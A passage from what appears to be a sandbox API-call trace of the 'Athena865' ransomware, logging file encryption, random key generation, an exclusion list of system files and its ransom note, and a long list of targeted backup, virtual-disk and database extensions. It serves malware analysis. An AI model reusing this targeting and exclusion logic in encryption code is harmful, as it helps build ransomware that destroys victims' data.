files\\microsoft office\\office14\\nameext.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0078.291] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=156032) returned 1 [0078.291] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0078.291] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0078.291] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0078.291] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0078.292] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0078.292] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0078.292] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x26480, lpName=0x0) returned 0x17c [0078.294] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x26480) returned 0x170000 [0078.299] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0078.300] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0078.300] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0078.300] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0078.300] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0078.300] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0078.300] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0078.300] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0078.300] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0078.300] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0078.301] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0078.301] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0078.301] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0078.301] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0078.302] CloseHandle (hObject=0x17c) returned 1 [0078.302] CloseHandle (hObject=0x154) returned 1 [0078.302] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0078.302] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0078.302] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0078.303] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b465500, ftCreationTime.dwHighDateTime=0x1cacf36, ftLastAccessTime.dwLowDateTime=0x6a4c77f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b465500, ftLastWriteTime.dwHighDateTime=0x1cacf36, nFileSizeHigh=0x0, nFileSizeLow=0x77cdb0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NL7Data0011.DLL", cAlternateFileName="NL7DAT~1.DLL")) returned 1 [0078.303] lstrcmpiW (lpString1="NL7Data0011.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0078.303] lstrcmpiW (lpString1="NL7Data0011.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0078.303] lstrcmpiW (lpString1="NL7Data0011.DLL", lpString2=".") returned 1 [0078.303] lstrcmpiW (lpString1="NL7Data0011.DLL", lpString2="..") returned 1 [0078.303] lstrcmpiW (lpString1="NL7Data0011.DLL", lpString2="windows") returned -1 [0078.303] lstrcmpiW (lpString1="NL7Data0011.DLL", lpString2="bootmgr") returned 1 [0078.303] lstrcmpiW (lpString1="NL7Data0011.DLL", lpString2="temp") returned -1 [0078.303] lstrcmpiW (lpString1="NL7Data0011.DLL", lpString2="pagefile.sys") returned -1 [0078.303] lstrcmpiW (lpString1="NL7Data0011.DLL", lpString2="boot") returned 1 [0078.303] lstrcmpiW (lpString1="NL7Data0011.DLL", lpString2="ids.txt") returned 1 [0078.304] lstrcmpiW (lpString1="NL7Data0011.DLL", lpString2="ntuser.dat") returned -1 [0078.304] lstrcmpiW (lpString1="NL7Data0011.DLL", lpString2="perflogs") returned -1 [0078.304] lstrcmpiW (lpString1="NL7Data0011.DLL", lpString2="MSBuild") returned 1 [0078.304] lstrlenW (lpString="NL7Data0011.DLL") returned 15 [0078.304] lstrcpyW (in: lpString1=0x241e89e, lpString2="NL7Data0011.DLL" | out: lpString1="NL7Data0011.DLL") returned="NL7Data0011.DLL" [0078.304] lstrlenW (lpString="NL7Data0011.DLL") returned 15 [0078.304] lstrlenW (lpString="Athena865") returned 9 [0078.304] lstrcmpiW (lpString1="a0011.DLL", lpString2="Athena865") returned -1 [0078.304] lstrlenW (lpString=".dll") returned 4 [0078.304] lstrcmpiW (lpString1="NL7Data0011.DLL", lpString2=".dll") returned 1 [0078.304] lstrlenW (lpString=".lnk") returned 4 [0078.304] lstrcmpiW (lpString1="NL7Data0011.DLL", lpString2=".lnk") returned 1 [0078.304] lstrlenW (lpString=".ini") returned 4 [0078.304] lstrcmpiW (lpString1="NL7Data0011.DLL", lpString2=".ini") returned 1 [0078.304] lstrlenW (lpString=".sys") returned 4 [0078.304] lstrcmpiW (lpString1="NL7Data0011.DLL", lpString2=".sys") returned 1 [0078.304] lstrlenW (lpString="NL7Data0011.DLL") returned 15 [0078.304] lstrlenW (lpString="bak") returned 3 [0078.304] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0078.304] lstrlenW (lpString="ba_") returned 3 [0078.304] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0078.304] lstrlenW (lpString="dbb") returned 3 [0078.304] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0078.304] lstrlenW (lpString="vmdk") returned 4 [0078.304] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0078.304] lstrlenW (lpString="rar") returned 3 [0078.304] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0078.304] lstrlenW (lpString="zip") returned 3 [0078.304] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0078.304] lstrlenW (lpString="tgz") returned 3 [0078.304] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0078.305] lstrlenW (lpString="vbox") returned 4 [0078.305] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0078.305] lstrlenW (lpString="vdi") returned 3 [0078.305] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0078.305] lstrlenW (lpString="vhd") returned 3 [0078.305] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0078.305] lstrlenW (lpString="vhdx") returned 4 [0078.305] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0078.305] lstrlenW (lpString="avhd") returned 4 [0078.305] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0078.305] lstrlenW (lpString="db") returned 2 [0078.305] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0078.305] lstrlenW (lpString="db2") returned 3 [0078.305] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0078.305] lstrlenW (lpString="db3") returned 3 [0078.305] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0078.305] lstrlenW (lpString="dbf") returned 3 [0078.305] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0078.305] lstrlenW (lpString="mdf") returned 3 [0078.305] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0078.305] lstrlenW (lpString="mdb") returned 3 [0078.305] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0078.305] lstrlenW (lpString="sql") returned 3 [0078.305] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0078.305] lstrlenW (lpString="sqlite") returned 6 [0078.305] lstrcmpiW (lpString1="11.DLL", lpString2="sqlite") returned -1 [0078.305] lstrlenW (lpString="sqlite3") returned 7 [0078.305] lstrcmpiW (lpString1="011.DLL", lpString2="sqlite3") returned -1 [0078.305] lstrlenW (lpString="sqlitedb") returned 8 [0078.305] lstrcmpiW (lpString1="0011.DLL", lpString2="sqlitedb") returned -1 [0078.305] lstrlenW (lpString="xml") returned 3 [0078.305] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0078.306] lstrlenW (lpString="$er") returned 3 [0078.306] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0078.306] lstrlenW (lpString="4dd") returned 3 [0078.306] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0078.306] lstrlenW (lpString="4dl") returned 3 [0078.306] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0078.306] lstrlenW (lpString="^^^") returned 3 [0078.306] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0078.306] lstrlenW (lpString="abs") returned 3 [0078.306] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0078.306] lstrlenW (lpString="abx") returned 3 [0078.306] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0078.306] lstrlenW (lpString="accdb") returned 5 [0078.306] lstrcmpiW (lpString1="1.DLL", lpString2="accdb") returned -1 [0078.306] lstrlenW (lpString="accdc") returned 5 [0078.306] lstrcmpiW (lpString1="1.DLL", lpString2="accdc") returned -1 [0078.306] lstrlenW (lpString="accde") returned 5 [0078.306] lstrcmpiW (lpString1="1.DLL", lpString2="accde") returned -1 [0078.306] lstrlenW (lpString="accdr") returned 5 [0078.306] lstrcmpiW (lpString1="1.DLL", lpString2="accdr") returned -1 [0078.306] lstrlenW (lpString="accdt") returned 5 [0078.306] lstrcmpiW (lpString1="1.DLL", lpString2="accdt") returned -1 [0078.306] lstrlenW (lpString="accdw") returned 5 [0078.306] lstrcmpiW (lpString1="1.DLL", lpString2="accdw") returned -1 [0078.306] lstrlenW (lpString="accft") returned 5 [0078.306] lstrcmpiW (lpString1="1.DLL", lpString2="accft") returned -1 [0078.306] lstrlenW (lpString="adb") returned 3 [0078.306] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0078.306] lstrlenW (lpString="adb") returned 3 [0078.306] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0078.306] lstrlenW (lpString="ade") returned 3 [0078.307] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0078.307] lstrlenW (lpString="adf") returned 3 [0078.307] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0078.307] lstrlenW (lpString="adn") returned 3 [0078.307] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0078.307] lstrlenW (lpString="adp") returned 3 [0078.307] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0078.307] lstrlenW (lpString="alf") returned 3 [0078.307] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0078.307] lstrlenW (lpString="ask") returned 3 [0078.307] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0078.307] lstrlenW (lpString="btr") returned 3 [0078.307] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0078.307] lstrlenW (lpString="cat") returned 3 [0078.307] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0078.307] lstrlenW (lpString="cdb") returned 3 [0078.307] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0078.307] lstrlenW (lpString="ckp") returned 3 [0078.307] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0078.307] lstrlenW (lpString="cma") returned 3 [0078.307] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0078.307] lstrlenW (lpString="cpd") returned 3 [0078.307] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0078.307] lstrlenW (lpString="dacpac") returned 6 [0078.307] lstrcmpiW (lpString1="11.DLL", lpString2="dacpac") returned -1 [0078.307] lstrlenW (lpString="dad") returned 3 [0078.307] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0078.307] lstrlenW (lpString="dadiagrams") returned 10 [0078.307] lstrcmpiW (lpString1="ta0011.DLL", lpString2="dadiagrams") returned 1 [0078.307] lstrlenW (lpString="daschema") returned 8 [0078.307] lstrcmpiW (lpString1="0011.DLL", lpString2="daschema") returned -1 [0078.307] lstrlenW (lpString="db-journal") returned 10 [0078.307] lstrcmpiW (lpString1="ta0011.DLL", lpString2="db-journal") returned 1 [0078.308] lstrlenW (lpString="db-shm") returned 6 [0078.308] lstrcmpiW (lpString1="11.DLL", lpString2="db-shm") returned -1 [0078.308] lstrlenW (lpString="db-wal") returned 6 [0078.308] lstrcmpiW (lpString1="11.DLL", lpString2="db-wal") returned -1 [0078.308] lstrlenW (lpString="dbc") returned 3 [0078.308] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0078.308] lstrlenW (lpString="dbs") returned 3 [0078.308] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0078.308] lstrlenW (lpString="dbt") returned 3 [0078.308] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0078.308] lstrlenW (lpString="dbv") returned 3 [0078.308] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0078.308] lstrlenW (lpString="dbx") returned 3 [0078.308] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0078.308] lstrlenW (lpString="dcb") returned 3 [0078.308] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0078.308] lstrlenW (lpString="dct") returned 3 [0078.308] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0078.308] lstrlenW (lpString="dcx") returned 3 [0078.308] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0078.308] lstrlenW (lpString="ddl") returned 3 [0078.308] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0078.308] lstrlenW (lpString="dlis") returned 4 [0078.308] lstrcmpiW (lpString1=".DLL", lpString2="dlis") returned -1 [0078.308] lstrlenW (lpString="dp1") returned 3 [0078.308] lstrcmpiW (lpString1="DLL", lpString2="dp1") returned -1 [0078.308] lstrlenW (lpString="dqy") returned 3 [0078.308] lstrcmpiW (lpString1="DLL", lpString2="dqy") returned -1 [0078.308] lstrlenW (lpString="dsk") returned 3 [0078.308] lstrcmpiW (lpString1="DLL", lpString2="dsk") returned -1 [0078.308] lstrlenW (lpString="dsn") returned 3 [0078.308] lstrcmpiW (lpString1="DLL", lpString2="dsn") returned -1 [0078.308] lstrlenW (lpString="dtsx") returned 4 [0078.309] lstrcmpiW (lpString1=".DLL", lpString2="dtsx") returned -1 [0078.309] lstrlenW (lpString="dxl") returned 3 [0078.309] lstrcmpiW (lpString1="DLL", lpString2="dxl") returned -1 [0078.309] lstrlenW (lpString="eco") returned 3 [0078.309] lstrcmpiW (lpString1="DLL", lpString2="eco") returned -1 [0078.309] lstrlenW (lpString="ecx") returned 3 [0078.309] lstrcmpiW (lpString1="DLL", lpString2="ecx") returned -1 [0078.309] lstrlenW (lpString="edb") returned 3 [0078.309] lstrcmpiW (lpString1="DLL", lpString2="edb") returned -1 [0078.309] lstrlenW (lpString="epim") returned 4 [0078.309] lstrcmpiW (lpString1=".DLL", lpString2="epim") returned -1 [0078.309] lstrlenW (lpString="fcd") returned 3 [0078.309] lstrcmpiW (lpString1="DLL", lpString2="fcd") returned -1 [0078.309] lstrlenW (lpString="fdb") returned 3 [0078.309] lstrcmpiW (lpString1="DLL", lpString2="fdb") returned -1 [0078.309] lstrlenW (lpString="fic") returned 3 [0078.309] lstrcmpiW (lpString1="DLL", lpString2="fic") returned -1 [0078.309] lstrlenW (lpString="flexolibrary") returned 12 [0078.309] lstrcmpiW (lpString1="Data0011.DLL", lpString2="flexolibrary") returned -1 [0078.309] lstrlenW (lpString="fm5") returned 3 [0078.309] lstrcmpiW (lpString1="DLL", lpString2="fm5") returned -1 [0078.309] lstrlenW (lpString="fmp") returned 3 [0078.309] lstrcmpiW (lpString1="DLL", lpString2="fmp") returned -1 [0078.309] lstrlenW (lpString="fmp12") returned 5 [0078.309] lstrcmpiW (lpString1="1.DLL", lpString2="fmp12") returned -1 [0078.309] lstrlenW (lpString="fmpsl") returned 5 [0078.309] lstrcmpiW (lpString1="1.DLL", lpString2="fmpsl") returned -1 [0078.309] lstrlenW (lpString="fol") returned 3 [0078.309] lstrcmpiW (lpString1="DLL", lpString2="fol") returned -1 [0078.309] lstrlenW (lpString="fp3") returned 3 [0078.309] lstrcmpiW (lpString1="DLL", lpString2="fp3") returned -1 [0078.309] lstrlenW (lpString="fp4") returned 3 [0078.310] lstrcmpiW (lpString1="DLL", lpString2="fp4") returned -1 [0078.310] lstrlenW (lpString="fp5") returned 3 [0078.310] lstrcmpiW (lpString1="DLL", lpString2="fp5") returned -1 [0078.310] lstrlenW (lpString="fp7") returned 3 [0078.310] lstrcmpiW (lpString1="DLL", lpString2="fp7") returned -1 [0078.310] lstrlenW (lpString="fpt") returned 3 [0078.310] lstrcmpiW (lpString1="DLL", lpString2="fpt") returned -1 [0078.310] lstrlenW (lpString="frm") returned 3 [0078.310] lstrcmpiW (lpString1="DLL", lpString2="frm") returned -1 [0078.310] lstrlenW (lpString="gdb") returned 3 [0078.310] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0078.310] lstrlenW (lpString="gdb") returned 3 [0078.310] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0078.310] lstrlenW (lpString="grdb") returned 4 [0078.310] lstrcmpiW (lpString1=".DLL", lpString2="grdb") returned -1 [0078.310] lstrlenW (lpString="gwi") returned 3 [0078.310] lstrcmpiW (lpString1="DLL", lpString2="gwi") returned -1 [0078.310] lstrlenW (lpString="hdb") returned 3 [0078.310] lstrcmpiW (lpString1="DLL", lpString2="hdb") returned -1 [0078.310] lstrlenW (lpString="his") returned 3 [0078.310] lstrcmpiW (lpString1="DLL", lpString2="his") returned -1 [0078.310] lstrlenW (lpString="ib") returned 2 [0078.310] lstrcmpiW (lpString1="LL", lpString2="ib") returned 1 [0078.310] lstrlenW (lpString="idb") returned 3 [0078.310] lstrcmpiW (lpString1="DLL", lpString2="idb") returned -1 [0078.310] lstrlenW (lpString="ihx") returned 3 [0078.310] lstrcmpiW (lpString1="DLL", lpString2="ihx") returned -1 [0078.310] lstrlenW (lpString="itdb") returned 4 [0078.310] lstrcmpiW (lpString1=".DLL", lpString2="itdb") returned -1 [0078.310] lstrlenW (lpString="itw") returned 3 [0078.310] lstrcmpiW (lpString1="DLL", lpString2="itw") returned -1 [0078.310] lstrlenW (lpString="jet") returned 3 [0078.311] lstrcmpiW (lpString1="DLL", lpString2="jet") returned -1 [0078.311] lstrlenW (lpString="jtx") returned 3 [0078.311] lstrcmpiW (lpString1="DLL", lpString2="jtx") returned -1 [0078.311] lstrlenW (lpString="kdb") returned 3 [0078.311] lstrcmpiW (lpString1="DLL", lpString2="kdb") returned -1 [0078.311] lstrlenW (lpString="kexi") returned 4 [0078.311] lstrcmpiW (lpString1=".DLL", lpString2="kexi") returned -1 [0078.311] lstrlenW (lpString="kexic") returned 5 [0078.311] lstrcmpiW (lpString1="1.DLL", lpString2="kexic") returned -1 [0078.311] lstrlenW (lpString="kexis") returned 5 [0078.311] lstrcmpiW (lpString1="1.DLL", lpString2="kexis") returned -1 [0078.311] lstrlenW (lpString="lgc") returned 3 [0078.311] lstrcmpiW (lpString1="DLL", lpString2="lgc") returned -1 [0078.311] lstrlenW (lpString="lwx") returned 3 [0078.311] lstrcmpiW (lpString1="DLL", lpString2="lwx") returned -1 [0078.311] lstrlenW (lpString="maf") returned 3 [0078.311] lstrcmpiW (lpString1="DLL", lpString2="maf") returned -1 [0078.311] lstrlenW (lpString="maq") returned 3 [0078.311] lstrcmpiW (lpString1="DLL", lpString2="maq") returned -1 [0078.311] lstrlenW (lpString="mar") returned 3 [0078.311] lstrcmpiW (lpString1="DLL", lpString2="mar") returned -1 [0078.311] lstrlenW (lpString="marshal") returned 7 [0078.311] lstrcmpiW (lpString1="011.DLL", lpString2="marshal") returned -1 [0078.311] lstrlenW (lpString="mas") returned 3 [0078.311] lstrcmpiW (lpString1="DLL", lpString2="mas") returned -1 [0078.311] lstrlenW (lpString="mav") returned 3 [0078.311] lstrcmpiW (lpString1="DLL", lpString2="mav") returned -1 [0078.311] lstrlenW (lpString="maw") returned 3 [0078.311] lstrcmpiW (lpString1="DLL", lpString2="maw") returned -1 [0078.311] lstrlenW (lpString="mdbhtml") returned 7 [0078.311] lstrcmpiW (lpString1="011.DLL", lpString2="mdbhtml") returned -1 [0078.311] lstrlenW (lpString="mdn") returned 3 [0078.311] lstrcmpiW (lpString1="DLL", lpString2="mdn") returned -1 [0078.312] lstrlenW (lpString="mdt") returned 3 [0078.312] lstrcmpiW (lpString1="DLL", lpString2="mdt") returned -1 [0078.312] lstrlenW (lpString="mfd") returned 3 [0078.312] lstrcmpiW (lpString1="DLL", lpString2="mfd") returned -1 [0078.312] lstrlenW (lpString="mpd") returned 3 [0078.312] lstrcmpiW (lpString1="DLL", lpString2="mpd") returned -1 [0078.312] lstrlenW (lpString="mrg") returned 3 [0078.312] lstrcmpiW (lpString1="DLL", lpString2="mrg") returned -1 [0078.312] lstrlenW (lpString="mud") returned 3 [0078.312] lstrcmpiW (lpString1="DLL", lpString2="mud") returned -1 [0078.312] lstrlenW (lpString="mwb") returned 3 [0078.312] lstrcmpiW (lpString1="DLL", lpString2="mwb") returned -1 [0078.312] lstrlenW (lpString="myd") returned 3 [0078.312] lstrcmpiW (lpString1="DLL", lpString2="myd") returned -1 [0078.312] lstrlenW (lpString="ndf") returned 3 [0078.312] lstrcmpiW (lpString1="DLL", lpString2="ndf") returned -1 [0078.312] lstrlenW (lpString="nnt") returned 3 [0078.312] lstrcmpiW (lpString1="DLL", lpString2="nnt") returned -1 [0078.312] lstrlenW (lpString="nrmlib") returned 6 [0078.312] lstrcmpiW (lpString1="11.DLL", lpString2="nrmlib") returned -1 [0078.312] lstrlenW (lpString="ns2") returned 3 [0078.312] lstrcmpiW (lpString1="DLL", lpString2="ns2") returned -1 [0078.312] lstrlenW (lpString="ns3") returned 3 [0078.312] lstrcmpiW (lpString1="DLL", lpString2="ns3") returned -1 [0078.312] lstrlenW (lpString="ns4") returned 3 [0078.312] lstrcmpiW (lpString1="DLL", lpString2="ns4") returned -1 [0078.312] lstrlenW (lpString="nsf") returned 3 [0078.312] lstrcmpiW (lpString1="DLL", lpString2="nsf") returned -1 [0078.312] lstrlenW (lpString="nv") returned 2 [0078.312] lstrcmpiW (lpString1="LL", lpString2="nv") returned -1 [0078.312] lstrlenW (lpString="nv2") returned 3 [0078.312] lstrcmpiW (lpString1="DLL", lpString2="nv2") returned -1 [0078.313] lstrlenW (lpString="nwdb") returned 4 [0078.313] lstrcmpiW (lpString1=".DLL", lpString2="nwdb") returned -1 [0078.313] lstrlenW (lpString="nyf") returned 3 [0078.313] lstrcmpiW (lpString1="DLL", lpString2="nyf") returned -1 [0078.313] lstrlenW (lpString="odb") returned 3 [0078.313] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0078.313] lstrlenW (lpString="odb") returned 3 [0078.313] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0078.313] lstrlenW (lpString="oqy") returned 3 [0078.313] lstrcmpiW (lpString1="DLL", lpString2="oqy") returned -1 [0078.313] lstrlenW (lpString="ora") returned 3 [0078.313] lstrcmpiW (lpString1="DLL", lpString2="ora") returned -1 [0078.313] lstrlenW (lpString="orx") returned 3 [0078.313] lstrcmpiW (lpString1="DLL", lpString2="orx") returned -1 [0078.313] lstrlenW (lpString="owc") returned 3 [0078.313] lstrcmpiW (lpString1="DLL", lpString2="owc") returned -1 [0078.313] lstrlenW (lpString="p96") returned 3 [0078.313] lstrcmpiW (lpString1="DLL", lpString2="p96") returned -1 [0078.313] lstrlenW (lpString="p97") returned 3 [0078.313] lstrcmpiW (lpString1="DLL", lpString2="p97") returned -1 [0078.313] lstrlenW (lpString="pan") returned 3 [0078.313] lstrcmpiW (lpString1="DLL", lpString2="pan") returned -1 [0078.313] lstrlenW (lpString="pdb") returned 3 [0078.313] lstrcmpiW (lpString1="DLL", lpString2="pdb") returned -1 [0078.313] lstrlenW (lpString="pdm") returned 3 [0078.313] lstrcmpiW (lpString1="DLL", lpString2="pdm") returned -1 [0078.313] lstrlenW (lpString="pnz") returned 3 [0078.313] lstrcmpiW (lpString1="DLL", lpString2="pnz") returned -1 [0078.313] lstrlenW (lpString="qry") returned 3 [0078.313] lstrcmpiW (lpString1="DLL", lpString2="qry") returned -1 [0078.313] lstrlenW (lpString="qvd") returned 3 [0078.313] lstrcmpiW (lpString1="DLL", lpString2="qvd") returned -1 [0078.314] lstrlenW (lpString="rbf") returned 3 [0078.314] lstrcmpiW (lpString1="DLL", lpString2="rbf") returned -1 [0078.314] lstrlenW (lpString="rctd") returned 4 [0078.314] lstrcmpiW (lpString1=".DLL", lpString2="rctd") returned -1 [0078.314] lstrlenW (lpString="rod") returned 3 [0078.314] lstrcmpiW (lpString1="DLL", lpString2="rod") returned -1 [0078.314] lstrlenW (lpString="rodx") returned 4 [0078.314] lstrcmpiW (lpString1=".DLL", lpString2="rodx") returned -1 [0078.314] lstrlenW (lpString="rpd") returned 3 [0078.314] lstrcmpiW (lpString1="DLL", lpString2="rpd") returned -1 [0078.314] lstrlenW (lpString="rsd") returned 3 [0078.314] lstrcmpiW (lpString1="DLL", lpString2="rsd") returned -1 [0078.314] lstrlenW (lpString="sas7bdat") returned 8 [0078.314] lstrcmpiW (lpString1="0011.DLL", lpString2="sas7bdat") returned -1 [0078.314] lstrlenW (lpString="sbf") returned 3 [0078.314] lstrcmpiW (lpString1="DLL", lpString2="sbf") returned -1 [0078.314] lstrlenW (lpString="scx") returned 3 [0078.314] lstrcmpiW (lpString1="DLL", lpString2="scx") returned -1 [0078.314] lstrlenW (lpString="sdb") returned 3 [0078.314] lstrcmpiW (lpString1="DLL", lpString2="sdb") returned -1 [0078.314] lstrlenW (lpString="sdc") returned 3 [0078.314] lstrcmpiW (lpString1="DLL", lpString2="sdc") returned -1 [0078.314] lstrlenW (lpString="sdf") returned 3 [0078.314] lstrcmpiW (lpString1="DLL", lpString2="sdf") returned -1 [0078.314] lstrlenW (lpString="sis") returned 3 [0078.314] lstrcmpiW (lpString1="DLL", lpString2="sis") returned -1 [0078.314] lstrlenW (lpString="spq") returned 3 [0078.314] lstrcmpiW (lpString1="DLL", lpString2="spq") returned -1 [0078.314] lstrlenW (lpString="te") returned 2 [0078.314] lstrcmpiW (lpString1="LL", lpString2="te") returned -1 [0078.315] lstrlenW (lpString="teacher") returned 7 [0078.315] lstrcmpiW (lpString1="011.DLL", lpString2="teacher") returned -1 [0078.315] lstrlenW (lpString="tmd") returned 3 [0078.315] lstrcmpiW (lpString1="DLL", lpString2="tmd") returned -1 [0078.315] lstrlenW (lpString="tps") returned 3 [0078.315] lstrcmpiW (lpString1="DLL", lpString2="tps") returned -1 [0078.315] lstrlenW (lpString="trc") returned 3 [0078.315] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0078.315] lstrlenW (lpString="trc") returned 3 [0078.315] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0078.315] lstrlenW (lpString="trm") returned 3 [0078.315] lstrcmpiW (lpString1="DLL", lpString2="trm") returned -1 [0078.315] lstrlenW (lpString="udb") returned 3 [0078.315] lstrcmpiW (lpString1="DLL", lpString2="udb") returned -1 [0078.315] lstrlenW (lpString="udl") returned 3 [0078.315] lstrcmpiW (lpString1="DLL", lpString2="udl") returned -1 [0078.315] lstrlenW (lpString="usr") returned 3 [0078.315] lstrcmpiW (lpString1="DLL", lpString2="usr") returned -1 [0078.315] lstrlenW (lpString="v12") returned 3 [0078.315] lstrcmpiW (lpString1="DLL", lpString2="v12") returned -1 [0078.315] lstrlenW (lpString="vis") returned 3 [0078.315] lstrcmpiW (lpString1="DLL", lpString2="vis") returned -1 [0078.315] lstrlenW (lpString="vpd") returned 3 [0078.315] lstrcmpiW (lpString1="DLL", lpString2="vpd") returned -1 [0078.315] lstrlenW (lpString="vvv") returned 3 [0078.315] lstrcmpiW (lpString1="DLL", lpString2="vvv") returned -1 [0078.315] lstrlenW (lpString="wdb") returned 3 [0078.315] lstrcmpiW (lpString1="DLL", lpString2="wdb") returned -1 [0078.315] lstrlenW (lpString="wmdb") returned 4 [0078.315] 